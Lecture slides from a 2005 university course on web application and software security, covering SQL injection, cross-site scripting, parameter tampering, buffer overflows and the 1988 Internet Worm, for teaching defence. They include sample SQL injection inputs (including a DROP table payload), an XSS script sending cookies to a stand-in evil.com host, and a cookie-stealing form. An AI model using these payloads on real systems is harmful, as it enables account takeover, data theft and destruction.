Lecture 13: Software Security
(Web Application Security)

NCCU 高等軟體設計
Fall 2005
Dec. 20, 2005
Security is a Complicated Issues

- Computer security
- Network security
- Information security
- Application security
- Software security
- ...

What does security concern?
Security Concerns

• **Confidentiality**
  – The protection of information from unauthorized disclosure

• **Integrity**
  – The protection from unauthorized modification of information

• **Availability**
  – Resources are usable or operational during a given time period despite attacks or failures.

  [Denial of Service (DOS)]
Web Application Security cuts through many different aspects of an organization’s information security infrastructure.

source: Joseph Seaman
Software Security

• SS is now a hot subject in Software Engineering
• Security 不只是密碼學 (Cryptography)
• Secure Development Process
• Security Engineering is now a hot topic.
  – Orange Book
  – BS 7799 (ISO )
  – Common Criteria (CC)
  – SSE-CMM
Improving the Application Development Process

• Consider security
  – At the start of the process
  – Throughout development
  – Through deployment
  – At all software review milestones

• Do not stop looking for security bugs until the end of the development process
From Bruce Schneier

• We don’t have to try every possible key or even find flaws in the algorithms.

• We exploit
  – errors in design,
  – errors in implementation, and
  – errors in installation.

• Sometimes we invent a new trick to break a system, but most of the time we exploit the same old mistakes that designers make over and over again.
Threats & Threat Modeling
Security Attack
Threat
Vulnerability
exploit
What is vulnerability?

• Potential **defect** or **weakness** in an information system
• Being susceptible to:
  – ATTACK and/or
  – DAMAGE
• **threat**: an agent outside of a software system to *exploit a vulnerability* through attacks
What is a vulnerability?

• Something that allows or enables:
  – An attack and/or
  – Damage to occur

• An **Attack** is an **attempt to exploit a vulnerability** to make a **threat** a reality.
A Risk is the harm that can result if a threat is actualized.
The Threat Modeling Process

1. Identify Assets
2. Create an Architecture Overview
3. Decompose the Application
4. Identify the Threats
5. Document the Threats
6. Rate the Threats
(Some) exploit and vulnerabilities in Web Applications
OWASP Top 10 Web Security Vulns

1. Unvalidated input
2. Broken access control
3. Broken account/session management
4. Cross-site scripting (XSS) flaws
5. Buffer overflows
6. Injection flaws
7. Improper error handling
8. Insecure storage
9. Denial-of-service
10. Insecure configuration management
什麼是SQL Injection

• **SQL Injection** 應稱為 SQL 指令植入式攻擊，主要是屬於 Input Validation 的問題。目前被翻譯成『資料隱碼』攻擊。

• **SQL Injection** 攻擊法並非植入電腦病毒，它是描述一個利用寫入特殊 SQL 程式碼攻擊應用程式的動作。

• 換言之，只要提供給使用者輸入的介面，又沒有做到相當嚴密的輸入資料型態管制，就有可能會遭受這種行為的攻擊。
SQL Injection 原理

- 一般輸入帳號密碼的網站的SQL語法
  ```sql
  select * from member where UID = ' & request("ID") & ' And Passwd = ' & request("Pwd") & '
  ```

- 如果正常使用者帳號A123456789，密碼1234
  ```sql
  select * from member where UID = 'A123456789' And Passwd='1234'
  ```

- 輸入的帳號與密碼等資訊會取代ASP( or PHP、JSP)中的變數，並由兩個單引號(' ')所包住
<% uid = Request.form("uid")
    pw = Request.form("pw")
    if uid=="" and pw=="" then%
        <script language=VBscript>
            MsgBox "身分證、密碼不能是空的！！"
            location.href = "javascript:history.back()"
        </script>
    elseif uid=="" or pw=="" then%
        <!--#include file="mdb.asp"-->
        sql="SELECT * FROM 會員 WHERE 身分證=" & uid & " and 會員密碼=" & pw & ""
        Set Rs=conn.Execute(sql)
        If Rs.Bof OR Rs.Bof then
        <script language=VBscript>
            MsgBox "登陸失敗！原因：1、你不是會員！ 2、輸入的身分證、密碼不對！！"
            location.href = "javascript:history.back()"
        </script>
        else
            if rs("封鎖")<>"否" then
                why=rs("原因")
            <script language=VBscript>
                MsgBox "帳號封鎖中！原因："&why"
                location.href = "index.asp"
            </script>
        else
            Session("wid")= rs("會員編號")
            id = Session("wid")
            Session("id")= rs("會員名稱")
            Session("lv")= rs("會員權限")
            Session("mail")= rs("信箱")
            sql="update 會員 set 會員積分=會員註冊+1 where 會員編號=" & id & ">
            conn.execute sql
        </script>
    endif
    endif
    else
        Session("wid")= rs("會員編號")
        id = Session("wid")
        Session("id")= rs("會員名稱")
        Session("lv")= rs("會員權限")
        Session("mail")= rs("信箱")
        sql="update 會員註冊 set 會員註冊=會員註冊+1 where 會員註冊編號=" & id & ">
        conn.execute sql
    endif
    endif
    endif
    endif
    endif
%>
select * from member where UID = ' "& request("ID") &" ' And Passwd = ' "& request("Pwd") & " ' 

• 若攻擊者已知系統中已有一個Admin的管理者的帳號，則輸入Admin '-- '，即可不須輸入密碼而進入資料庫

select * from member where UID = ' Admin '-- ' And Passwd = ' "

• 註: -- 符號後的任何敘述都會被當作註解
  (以上面為例，And子句將被SQL視為說明用)
SQL Injection Example

• Happy-go-lucky SQL statement:

```sql
statement = "SELECT Username, UserID, Password 
FROM Users WHERE 
username ="" + user + "" AND 
password ="" + password
```

• Looks benign on the surface, but try this…

1. “bob”/”foobar” -> SELECT Username, UserID, Password FROM Users WHERE Username = 'bob' AND Password = 'foobar'
2. “bob”—”/” -> SELECT Username, UserID, Password FROM Users WHERE Username = 'bob'—' AND Password = 'foobar'
3. “bob’ or 1=1—”/” -> SELECT Username, UserID, Password FROM Users WHERE Username = ‘bob‘—’ AND Password = 'foobar'
4. “bob’; COMMIT—”/” -> SELECT Username, UserID, Password FROM Users WHERE Username = ‘bob‘; COMMIT—’ AND Password = 'foobar'
5. “bob’; DROP Users —”/” -> SELECT Username, UserID, Password FROM Users WHERE Username = ‘bob‘; DROP Users—’ AND Password = 'foobar'

Source: Livshits & Lam
SQL Injection with Encoding

• What if the application filters out quotes?
• Same JSP Example
  
  String sqery = "select userid from users where uname=" +
  request.getParameter("user_nm") +";";

• Now What if ..
  
  user_nm="%27 or %27x%27=%27x"

• The %27 is an *encoded quote* and can may be used to bypass a filter preventing quotes.
• May still bypass the authentication and execute arbitrary SQL statements
Cross-site scripting (XSS)

• Difficult to define since XSS has many forms. In general, it's the process of inserting code into pages sent by another source. The idea is to be able to achieve client-side execution of a client-side script.

• There are several techniques used to perform this attack.
  – One way to Insert JavaScript code into a URL that looks innocent.
    • Script code, or
    • Through HTML forms. If the user types code, such as a JavaScript program, into a form field, the server processing the form might execute the code if there aren't any input checks.
Cross-site scripting (XSS) Example

- Login script for Citibank’s Web site, LoginServlet.java
- Located at https://www.citibank.com/login.jsp
- Error page – activated if the user is not found

```java
if(!exist(username)){
    response.getWriter().println(
        "<html> Sorry, name " + username + 
        "is not found </html>");
}
```

- `<a href="https://www.citibank.com/login.jsp?username=bob@acm.org"` Login
    <script>alert(‘You’ve been owned!’)<!--"></script>" Login
    <script>document.location =
      ‘http://www.evil.com/give_me_the_data.cgi’ + document.cookie
    </script>" Login

- **How do we exploit this?**

Source: Livshits & Lam
A Letter from Citibank

But look at the HTML source:

```html
<a href="https://www.citibank.com/login.jsp?username=<script>...
</script>">
  onclick="document.status=''">
    https://www.citibank.com/login.jsp?username=bob@acm.org
  </a>
```

Seemingly legitimate URL

Source: Livshits & Lam
Example 2 of Exploiting Server-Side Scripts’ Vulnerability

Hello,  

<% Response.Write(Request.QueryString("name")) %>

Intended scenario:  


To explore:  

<a href=www.hexair-sample-13.com/req/asp?name=scriptcode>Click here to win $1,000,000</a>

Often sent thru email!
 <FORM
   method=post id="idForm">
   <INPUT name="cookie" type="hidden">
 </FORM>
 <SCRIPT> idForm.cookie.value=document.cookie;
    idForm.submit(); </SCRIPT> > Click here! </a>
XSS In Action

• Attacker:
  – Constructs some JavaScript that reads a *cookie* and resubmits it to a different site (under his control)
  – Hex encodes it so it’s not obvious in a URL
    http://ebay.com/SendFeedback?feedback=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6e%2e%6e%72%69%70%74%3e%64%6f%63%75%6d%65%6e%2e%6e%72%69%70%74%3e%64%6f%63%75%6e%2e%6e%72%69%70%74%3e%64%6f%63%75%6e%2e%6e%72%69%70%74%3e%64%6f%63%75%6d%65%6e%2e%6e
  – Emails the link to hundreds of users with a message asking them to participate in a survey
  – Expects many of them to click the link
  – Expects that many of them are configured to auto-login
  – Collects cookies as they’re sent to the site
  – Logs in and uses their accounts
At the Heart of the Issue: Input Validation

Input evil

browser

App

tools:

SQL injections

database

output

cross-site scripting

Insert validation!

Source: Livshits & Lam
What to do?

• Official Prescription
  – Validate all input

• Sounds good, but how?
  – Not easy, i.e. allow <b> and <tt> tags in wiki pages, but disallow <script> tags
  – A lot of the time this is done ad hoc
  – Two systematic validation techniques
    • Black-listing hard to get right – easy to miss cases
    • White-listing hard to keep up-to-date

• Inevitably bugs creep in…

Source: Livshits & Lam
So, What’s Going on in Practice?

• Some applications are unaware of the issue of input validation

• Security-aware applications do validation, but it’s hard to get right
  – Easy to miss places place validation checks
    • Need better tools
  – Easy to mess up validation routines
    • Need better validation libraries

• Goal of our work:
  – find missing or inadequate validation checks

Source: Livshits & Lam
Referenced Work

Finding Input Validation Errors in Java with Static Analysis

Benjamin Livshits
and
Monica S. Lam

Stanford University
Some Other exploits

- Known (existing) vulnerabilities and misconfigurations
- Hidden fields
- Backdoor and debug options
- URL Manipulation (Parameter tampering)
- Buffer overflow
Known vulnerabilities and misconfigurations

- Known vulnerabilities include all the bugs and exploits in both operating systems and third-party applications such as Web servers, database servers, and shopping cart systems.
Hidden fields

- Hidden fields refer to *hidden HTML form fields*. For many applications, these fields hold state variables like counters or merchandise prices.
- These fields aren't very hidden; they can be seen by performing a View Source on the Web page.
- Many Web applications let malicious users modify these fields in the HTML source, giving them the opportunity to purchase items at little or no cost.
Visible Form with Some Hidden Fields

Mens Tie
Price: $40

Size: Small $40.00
Color: Grey
With tie clip? No clip

Quantity: 1

Order
Mens Tie
Price: $40.00

Size:
<select name="size" size="1">
  <option>Small $40.00</option>
  <option>Large $50.00</option>
</select>

Color:
<select name="color" size="1">
  <option>Grey</option>
  <option>Blue</option>
  <option>Purple</option>
  <option>Polka Dot</option>
</select>

With tie clip?
<select name="withClip" size="1">
  <option>No clip</option>
  <option>Clip +$10.00</option>
</select>

Quantity:
<input type="text" name="quantity" value="1" size="2" maxlength="2">
<input type="submit" name="add" value="Order"/>
Backdoor and debug options

- Developers often create *backdoors* and turn on *debugging* to facilitate *troubleshooting* in applications.
- This works fine in the development process, but these items are often left in the final application that's placed on the Internet.
- Backdoors that let a user log in with no password or a special URL that allows direct access to application configuration are quite popular.
URL Manipulation

- User gets an email notification with an invitation to visit her online profile at:
  http://www.acme.com/profile?userid=2249
- Cuts and pastes the link into the browser
- Accidentally leaves off the 9
  http://www.acme.com/profile?userid=224
- Gets a page with somebody else’s personal information
URL Manipulation – Flavors

- Manipulating cookies
- Manipulating form data
  - Both POSTs and GETs
  - Hidden form fields
  - `<select>` values
- Fishing for errors (footprinting)
- Fishing for directory listings
- Fishing for admin pages
- Fishing for temp files (index.old, index.html~)
URL Manipulation – Fixes

- Never trust client-side information
- If you must rely on client-side tokens, sign and encrypt them
- Use programmatic security checks to implement row-level security
- Store authentication details in server-side session, or re-check every time
- Watch out for temp files
Buffer Overflows (Overruns)

- **What is a buffer?**
  - Memory set aside for storage purpose.
  - Often used to store incoming or outgoing payload data.

- **What does it mean to overflow the buffer?**
  - Condition when *more data* is given to store in the buffer, than what it was initially set for!!
  - It is a bug (vulnerability), which is caused because of bad programming practice and (maybe) language implementation (C/C++).
Buffer Overflow, so what!!

- Buffer overflow vulnerabilities are the most common way of exploiting and gaining control of remote host
- Very widely prevalent.
- Exploit: Attacker can insert and execute attack code.
- And, these vulnerabilities are caused due to bad programming practice and hence are there since the inception of the program and are invisible to the user.
Example Overflow

• char B[10];
  B[10] = x;
• Array starts at index zero
• So [10] is 11th element
• One byte outside buffer was referenced
• Off-by-one errors are common and can be exploitable!
Other Example

function do_stuff(char * a) {
    char b[100];
    ...
    strcpy(b, a); // (dest, source)
    ...
}

• What is the size of the string located at “a”?
• Is it even a null-terminated string?
• What if it was "strcpy(a, b);" instead?
  – What is the size of the buffer pointed to by "a"?
What happens when memory outside a buffer is accessed?

• If memory doesn't exist:
  – Bus error

• If memory protection denies access:
  – Segmentation fault
  – General protection fault

• If access is allowed, memory next to the buffer can be accessed
  – Heap
  – Stack
  – Etc...
A Typical Stack Exploit

• The stack contains:
  – Parameters (arguments) to function
  – Return Address
  – Local variables
  – Anything pushed on the stack

• `addr[100+]` overwrites the return address

• `addr[0]` typically contains exploit code

• *Return address is chosen to point at exploit code!*
Fundamental "C" Problems

• You can't know the length of buffers just from a pointer
  – Partial solution: pass the length as a separate argument

• "C" string functions aren't safe
  – No guarantees that the new string will be null-terminated!
  – Doing all checks completely and properly is tedious and tricky
Strlen

• What happens when you call strlen on an improperly terminated string?
• Strlen scans *until a null character* is found
  – Can scan outside buffer if string is not null-terminated
  – Can result in a segmentation fault or bus error
• Strlen is not safe to call!
  – Unless you positively know that the string is null-terminated...
    • Are all the functions you use guaranteed to return a null-terminated string?
Question

• What’s wrong with this?

```c
function do_stuff(char * a) {
    char b[100];

    ...

    strncpy(b, a, strlen(a));

    ...
}
```
• What’s wrong with this?

```c
function do_stuff(char * a) {
  char b[100];
  ...
  strncpy(b, a, strlen(a));
  ...
}
```

• The string pointed to by "a" could be larger than the size of "b"!
Question

• What’s wrong with this?

```c
function do_stuff(char * a) {
    char *b;
    ...
    b = malloc(strlen(a)+1);
    strncpy(b, a, strlen(a));
    ...
}
```
• What’s wrong with this?

```c
function do_stuff(char * a) {
    char *b;
    ...
    b = malloc(strlen(a)+1);
    strncpy(b, a, strlen(a));
    ...
}
```

• Are you absolutely certain that the string pointed to by "a" is NUL-terminated?
記憶體架構(x86為例)(1/2)

- **Code/Text segment**
  - 存放執行的assembler instructions
  - 存放只能讀的資料(read-only)

- **Data segment**
  - 存放初始化和未初始化data
  - 存放全域變數

- **Stack segment**
  - 存放傳送給function的參數、function的變數、返回位址
  - PUSH/POP
  - Stack pointer (SP)指向stack最頂端

Source：交大計中
記憶體架構—stack 內容(2/2)

```c
void function (int a, int b)
{
    char buffer1[5];
    char buffer2[5];
}

void main()
{
    function(1,2);
}
```

Source：交大計中
Stack Overflow(1/2)

• 複製資料到local variable時，沒有檢查buffer範圍限制
• 大量傳入資料灌滿整個buffer及stack資料，造成segmentation fault (Stack smash)
• 具有此弱點的function
  – strcpy, strcat, gets, sprintf
• 攻擊方式
  – 用以改變程式的執行流程
  – 更改return address
  – 執行駭客所植入的shellcode

Source：交大計中
void function(char *str) {
    char buffer[10];
    strcpy(buffer,str);
}
void main() {
    char large_str[255]; int I;
    for (I=0;I<255;I++) large_str[I] = 'A';
    function(large_str);
}
Stack Smashing

- Attacker provides an input string that contains executable binary code (`exec "sh"`)
- The buffer overflow changes the `return address` in the stack frame for the currently active function to point to the attack code
- When the function returns, control is transferred to the attack code instead of returning to the calling routine
Stack Smashing Example

- **line** is a 512-byte array allocated on the stack
- If **gets()** is provided with *more than 512 bytes of data*, it will continue to put that data on the stack
- By carefully choosing the data that is written into line, it is possible to *divert the flow of execution to a special instruction sequence that calls execv() to replace the running image with a shell*

```c
main(argc, argv)
{
    char line[512];
    ...
    gets(line);
    ...
```
攻擊程式 - 執行植入 shellcode

- **shellcode** 是一個簡單的 assembler command
- 攻擊方法

Source：交大計中
攻擊程式-執行植入shellcode

把exploit buffer塞入，產生overflow，跳到buffer起始位址

get_sp()-offset

offset

guess_buffer_address

get_sp()
Stack Smashing and Privileges

- Programs that are routinely attacked using this technique are usually *privileged programs running as root* or *binaries installed SetUID root*
- SetUID permissions in the UNIX operating system grant a user privilege to run programs or scripts as another user
- Programs that are SetUID root may be executable by an underprivileged user, but run in memory with unrestricted system access
- Attacks may allow an unprivileged user to acquire *root privileges* with one exploit
Preventing Stack Smashing

• User input is evil!!
• Always validate all user I/O and perform bounds checking on all arrays
• Programs should execute at the lowest possible privilege level necessary to perform the task at hand
• Use languages that provide protection against buffer overflows (Perl, Java, etc.)
• Avoid using functions that do not check bounds
  - `strcpy()`, `strcat()`, `sprintf()`, `gets()`, etc.
• Use safer alternative functions
  - `strncpy()`, `strncat()`, `snprintf()`, `fgets()`, etc.
• Analyze code for vulnerabilities
• Use libraries and tools when designing and compiling your program that can prevent buffer overflow vulnerabilities
Required Reading at Microsoft

"Required reading at Microsoft." - Bill Gates
The Internet Worm

– Compromising the *availability* and *reliability* of systems through security failure
What happened

• In November 1988, a program was deliberately released that spread itself throughout Digital VAX and Sun workstations across the Internet. It exploited security vulnerabilities in Unix systems.
• In itself, the program did no damage but it’s replication and threat of damage caused extensive loss of system service and reduced system responsiveness in thousands of host computers.
• This program has become known as the Internet Worm.
• This was the first widely distributed Internet security threat.
Terminology

• A worm
  – This is a program that can autonomously spread itself across a network of computers.

• A virus
  – This is a program that can spread itself across a network of computers by attaching itself to some other program or document.

• A trapdoor
  – This is a vulnerability in a program that allows normal security controls to be bypassed.
Consequences of the worm

• Strange files appeared in systems that were infected.
• Strange log messages appeared in certain programs.
• Each *infection caused a number of processes to be generated*. As systems were constantly re-infected, the number of processes grew and systems became overloaded.
• Some systems (1000s) were shut down because of the problems and because of the unknown threat of damage.
Worm description

• Program was made up of two parts
  – A main program that looked for other machines that might be infected and that tried to find ways of getting into these machines;
  – A vector program (99 lines of C) that was compiled and run on the infected machine and which then transferred the main program to continue the process of infection.

• Security vulnerabilities
  – fingerd - an identity program in Unix that runs in the background;
  – sendmail - the principal mail distribution program;
  – Password cracking;
  – Trusted logins.
fingerd

- Written in C and runs continuously.
- C does NOT have **bound checking on arrays**. fingerd expects an input string but the writer of the worm noticed that if a longer string than was allowed for was presented, this overwrote part of memory.
- By designing a string that included machine instructions and that overwrote a return address, the worm could invoke a remote shell (a Unix facility) that allowed privileged commands to be executed.
sendmail

• sendmail routes mail and the worm took advantage of a *debug facility* (trapdoor) that was often left on and which allowed a set of commands to be issued to the sendmail program.

• This allowed the worm to specify that information should be transferred to new hosts through the mail system without having to process normal mail messages.
Password cracking

- Unix passwords are encrypted and, in the encrypted form, are publicly available in /etc/passwd.
- The worm encrypted lists of possible passwords and compared them with the password file to discover user passwords.
- It used a list of about 400 common words that were known to be used as passwords.
- It exploited fast versions of the encryption algorithm that were not envisaged when the Unix scheme was devised.
Trusted logins

- On Unix, tasks can be executed on *remote machines*.

- To support this, there is the notion of a trusted login so that if a login command is issued to machine Z from user Y in machine X then Z assumes that X has carried out the authentication and that Y is trusted; no password is required.

- The worm exploited this by looking for machines that might be trusted. It did this by examining files that listed machines trusted by the current machine and then assumed reciprocal trust.
Killing the worm

• The main effects of the worm were in the US and system managers worked for several days to devise ways of stopping the worm.

• These involved devising modifications to the programs affected so that the worm could not propagate itself, distributing these changes, installing them then rebooting infected machines to remove worm processes.

• The process took several days before the net was cleared of infection.
What we learned

• Security vulnerabilities result from flaws and these will always be with us. Problems can be fixed but new problems can arise with new versions of software.

• Diversity is good - we need a heterogeneous not a homogeneous network.

• Isolationism is not the answer - those sites that disconnected from the network were amongst the last to resume service.
The perpetrator

• The perpetrator was a student at Cornell University.
• He was discovered fairly quickly and charged.
• His sentence was for a period of community service and a $10,000 fine
  – This was relatively light as the major thrust of his defence was that the program explicitly did not cause deliberate damage and, in fact, he had tried (but failed) to ensure that too many processes would not be generated on host machines.